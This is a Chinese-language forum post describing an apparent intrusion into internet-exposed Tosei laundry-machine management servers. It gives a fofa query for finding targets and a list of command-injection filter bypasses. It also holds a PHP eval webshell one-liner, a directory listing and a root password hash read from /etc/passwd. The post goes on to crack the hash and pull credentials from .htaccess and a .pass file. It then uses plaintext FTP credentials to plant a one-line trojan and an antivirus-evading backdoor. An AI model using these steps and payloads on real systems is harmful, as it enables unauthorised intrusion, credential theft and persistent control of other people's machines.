|
1.信息收集 前段时间很火的东正洗衣机rce漏洞 语法 fofa: body="tosei_login_check.php"页面长这样 poc如下 后台常规的测试功能管道符绕过 成功RCE 2.打点这里复习一下常见的命令注入绕过方式 1.管道符
2.拼接字符串 windows: ~%xxx:0~1 linux: $xxx:start,length
3.特殊符号^,"",()，$@
4.空格绕过， ${IFS},{}
5.变量赋值
6.默认路径 通配符
7.hex编码 xxd
8.base64编码
9.分号绕过
10.``绕过
11. \ 绕过
12. dnslog绕过这里处理一下上传webshell的问题 IFS=,;`cat<<<'<?php @eval($_POST[1]);?>'>5.php`没处理成功，对面系统无法执行 折腾了半天的下载，发现机子不出网，无ping和curl 无权限写目录，tmp对应目录了也无法写 干到这了，不写个shell怪可惜的 开始信息收集！
1.本机信息收集pwd
查看当前目录
ls${IFS}-lah
 total 1.8M
drwxrwxrwx 3 root root 4.0k Jun 13 2018 .
drwxrwxrwx 5 root root 1.0k Nov 20 2018 ..
lrwxrwxrwx 1 root root 12 Dec 29 2004 .htaccess -> ../.htaccess
-rwxr-xr-x 1 root root 6.8k Sep 28 2005 alert_rss.rdf
-rwxr-xr-x 1 root root 1.3k Jan 11 2005 downloader.php
lrwxrwxrwx 1 root root 23 Dec 29 2004 images -> /usr/apache/html/images
-rwxr-xr-x 1 root root 5.7k Oct 24 2005 imode_alldata.php
-rwxr-xr-x 1 root root 7.6k Jan 12 2005 imode_eventlog.php
-rwxr-xr-x 1 root root 3.2k Dec 6 2005 imode_eventstat.php
-rwxr-xr-x 1 root root 2.1k Jan 12 2005 imode_info.php
drwxrwxrwx 2 root root 2.0k Jun 13 2018 include
-rwxrwxrwx 1 root root 4.7k Oct 25 2017 index_x1.php
-rwxrwxrwx 1 root root 4.8k Feb 25 2011 index_x11.php
-rwxrwxrwx 1 root root 6.4k Oct 25 2017 index_x12.php
-rwxrwxrwx 1 root root 11k Feb 25 2011 index_x13.php
-rwxrwxrwx 1 root root 4.3k Feb 25 2011 index_x14.php
-rwxrwxrwx 1 root root 5.4k Feb 25 2011 index_x15.php
-rwxrwxrwx 1 root root 2.0k Dec 24 05:45 login.php
-rwxrwxrwx 1 root root 32k Sep 14 2017 mainte_jikan_kadou.php
-rwxrwxrwx 1 root root 43k Sep 14 2017 mainte_jikan_uriage.php
-rwxr-xr-x 1 root root 2.2k Apr 15 2016 network_test.php
-rwxrwxrwx 1 root root 5.8k Apr 15 2016 p1_conf_update.php
-rwxrwxrwx 1 root root 6.8k Apr 15 2016 p1_ftpserver.php
-rwxrwxrwx 1 root root 9.1k Jun 23 2016 p1_info_device.php
-rwsr-xr-x 1 root root 17k Apr 5 2016 p1_network_dns.cgi
-rwsr-xr-x 1 root root 14k Jun 14 2016 p1_network_inetd.cgi
-rwsrwxrwx 1 root root 20k Apr 5 2016 p1_network_mail.cgi
-rwsr-xr-x 1 root root 24k Apr 15 2016 p1_schedule_setting.cgi
-rwsr-xr-x 1 root root 14k Apr 5 2016 p1_setdate.cgi
-rwsr-xr-x 1 root root 17k Apr 5 2016 p1_setipadr.cgi
-rwxrwxrwx 1 root root 1.1k May 6 2011 p1_system_check.php
-rwsr-xr-x 1 root root 20k Apr 5 2016 p1_system_ntp.cgi
-rwsr-xr-x 1 root root 14k Jun 14 2016 p1_system_user.cgi
-rwxrwxrwx 1 root root 1.2k Apr 26 2011 p1_user_check.php
-rw-r--r-- 1 root contec 17k May 21 2007 style_tosei.css
-rwxrwxrwx 1 root root 2.7k Sep 18 2007 tosei-i_running.php
-rwxrwxrwx 1 root root 2.3k Sep 18 2007 tosei-i_running1.php
-rwxrwxrwx 1 root root 18k Feb 14 2011 tosei-i_sousa.php
-rwxrwxrwx 1 root root 16k Feb 21 2011 tosei-i_sousa_2.php
-rwxrwxrwx 1 root root 8.5k Jan 30 2011 tosei-i_sousa_3.php
-rwxrwxrwx 1 root root 7.4k Jan 30 2011 tosei-i_sousa_check.php
-rwxrwxrwx 1 root root 1.6k Sep 12 2007 tosei-i_sousa_check1.php
-rwxrwxrwx 1 root root 5.1k Jan 30 2011 tosei-i_sousa_check2.php
-rw-r--r-- 1 fws fws 35k Dec 1 2010 tosei_common.def
-rwxrwxrwx 1 root root 2.6k Aug 28 2017 tosei_creditinfo.php
-rwxrwxrwx 1 root root 21k Sep 15 2017 tosei_datasend.php
-rwxrwxrwx 1 root root 1.9k Sep 14 2017 tosei_error.php
-rwxrwxrwx 1 root root 36k Oct 10 2017 tosei_getubetu_kadou.php
-rwxrwxrwx 1 root root 30k Nov 13 2017 tosei_getubetu_uriage.php
-rwxrwxrwx 1 root root 4.0k Apr 15 2016 tosei_gokiinfo.php
-rwxrwxrwx 1 root root 13k Sep 14 2017 tosei_gulisu_settei.php
-rwxrwxrwx 1 root root 8.6k Aug 9 2017 tosei_gulisu_tenken.php
-rwxrwxrwx 1 root root 17k Apr 20 2016 tosei_haraidashi.php
-rwxrwxrwx 1 root root 4.3k Sep 19 2007 tosei_help.php
-rwxrwxrwx 1 root root 43k Oct 10 2017 tosei_hiduke_kadou.php
-rwxrwxrwx 1 root root 27k Nov 13 2017 tosei_hiduke_uriage.php
-rwxrwxrwx 1 root root 7.4k Apr 4 2018 tosei_honjitsu_tenko.php
-rwxrwxrwx 1 root root 8.4k Sep 14 2017 tosei_ipento_setei.php
-rwxrwxrwx 1 root root 34k Oct 10 2017 tosei_jikan_kadou.php
-rwxrwxrwx 1 root root 50k Nov 13 2017 tosei_jikan_uriage.php
-rwxrwxrwx 1 root root 26k Dec 4 2015 tosei_kikai.php
-rwxrwxrwx 1 root root 10k Sep 14 2017 tosei_kikai_era.php
-rwxrwxrwx 1 root root 10k Sep 20 2017 tosei_kikai_jyouhou.php
-rwxrwxrwx 1 root root 8.4k Mar 26 2018 tosei_kikai_kanri.php
-rwxrwxrwx 1 root root 11k Sep 14 2017 tosei_kikai_name.php
-rwxrwxrwx 1 root root 11k Sep 8 2017 tosei_kikai_seisanki.php
-rwxrwxrwx 1 root root 6.3k Apr 6 2016 tosei_kikai_siyou.php
-rwxrwxrwx 1 root root 18k Nov 16 2017 tosei_kikai_sousa.php
-rwxrwxrwx 1 root root 10k Apr 15 2016 tosei_kishuinfo.php
-rwxr-xr-x 1 root root 354 Feb 18 2016 tosei_login_check.php
-rwsrwxrwx 1 root root 13k Apr 5 2016 tosei_mainte_user.cgi
-rwxrwxrwx 1 root root 13k Sep 14 2017 tosei_oiru_settei.php
-rwxrwxrwx 1 root root 8.6k Aug 9 2017 tosei_oiru_tenken.php
-rwxrwxrwx 1 root root 4.7k May 26 2016 tosei_owner_card.php
-rwxrwxrwx 1 root root 11k Apr 3 2018 tosei_owner_helocall.php
-rwxrwxrwx 1 root root 2.6k Aug 28 2017 tosei_payment_info.php
-rwsr-xr-x 1 root root 14k Jun 20 2016 tosei_payment_user.cgi
-rwsrwxrwx 1 root root 12k Apr 5 2016 tosei_reboot.cgi
-rwxrwxrwx 1 root root 16k Sep 14 2017 tosei_rinfareta_settei.php
-rwxrwxrwx 1 root root 15k May 31 2012 tosei_rinfareta_tenken.php
-rwxrwxrwx 1 root root 2.0k Apr 5 2016 tosei_running.php
-rwxrwxrwx 1 root root 8.0k Sep 14 2017 tosei_ryoukin_henkou.php
-rwxrwxrwx 1 root root 84k Sep 14 2017 tosei_save_data.php
-rwxrwxrwx 1 root root 39k Sep 14 2017 tosei_setup.php
-rwxrwxrwx 1 root root 9.1k Apr 4 2018 tosei_shisutemu_helocall.php
-rwxrwxrwx 1 root root 3.1k Apr 15 2016 tosei_shopinfo.php
-rwxrwxrwx 1 root root 44k Sep 14 2017 tosei_sousa.php
-rwxrwxrwx 1 root root 32k Mar 11 2016 tosei_sousa_2.php
-rwxrwxrwx 1 root root 7.9k May 26 2016 tosei_sousa_check.php
-rwxrwxrwx 1 root root 3.9k Sep 14 2017 tosei_sousa_history.php
-rwsrwxrwx 1 root root 13k Apr 5 2016 tosei_sub_user.cgi
-rwxrwxrwx 1 root root 8.9k Sep 14 2017 tosei_syuusei.php
-rwxr-xr-x 1 root root 5.8k Mar 14 2007 tosei_syuusei.php.org
-rwxrwxrwx 1 root root 23k Sep 5 2017 tosei_top.php
-rwxrwxrwx 1 root root 137k Nov 14 2017 tosei_uriage.php
-rwxrwxrwx 1 fws fws 104k Dec 1 2010 tosei_uriage.php.org
-rwxrwxrwx 1 root root 50k Sep 14 2017 tosei_waribiki_1.php
-rwxrwxrwx 1 root root 42k Sep 12 2007 tosei_waribiki_1a.php
-rwxrwxrwx 1 root root 40k Sep 14 2017 tosei_waribiki_2.php
-rwxrwxrwx 1 root root 31k Sep 14 2017 tosei_waribiki_check.php
-rwxrwxrwx 1 root root 45k Oct 10 2017 tosei_youbi_kadou.php
-rwxrwxrwx 1 root root 29k Nov 13 2017 tosei_youbi_uriage.php都无写入权限 试试tmp目录下
tmp也不能下载文件，只能touch一个文件 web目录也没权限写 难道就要就此放弃了吗
2.破解密码cat一下/etc/passwd 发现了惊喜 /etc/passwd一般存的是一般的用户信息 /etc/shadow存储用户密码信息 前者格式 用户名:密码:用户 ID:用户组 ID:注释:用户目录:登录 shell
当密码存储在/etc/shadow时，密码用x代替
例如：root:x:0:0:root:/root:/bin/bash后者格式 用户名:密码:上次修改密码日期（从 1970 年 1 月 1 日起的天数）:密码在两次修改期间的最小天数（0 表示可在任何时间修改）:密码需要被变更的天数（99999 表示不需要变更）:密码变更前提前几天警告:账号失效日期:账号失效后被禁用的天数:保留字段
root 6$Fsf6Q6SH$MlagWih0lcGFxtAo7/s8Z5.wywJyCqH6qateZ6yPFOPm8bNYTGAEPygZxSOPR1A9Rtw.WxJp2fNMOoeB1wj890:17524:0:99999:7:::
这里密码直接泄露在etc/passwd里，我们可以尝试来破解 成功破解两个账户 但对方22端口拒绝连接 g
3.发现htaccess文件发现精彩东西 chatgpt一下就行了 这个配置文件直接暴露了权限控制要求的目标用户 且对应的文件在 那还等什么，我们直接 cat /usr/apache/.pass发现好东西 再次破解成功 其他的也可以拿去破解破解 左边是密码，右边是账号 非常完美
3.登录测试
1.进入管理页面输入账号密码成功打入 然后翻阅 抓重点文件进行测试 1.之前的命令注入由此产生
2.ftp服务器发现好东西
发现ftp的ip，密码，端口，还有域名信息
账号密码端口 密码的话直接f12明文查看 直接ftp 成功进入
3.put lcd上传下载东西姿势这是最简单的ftp操作 成功种入一句话木马 4.上免杀木马
成功上线
| 
发表于 2024-6-12 13:34:16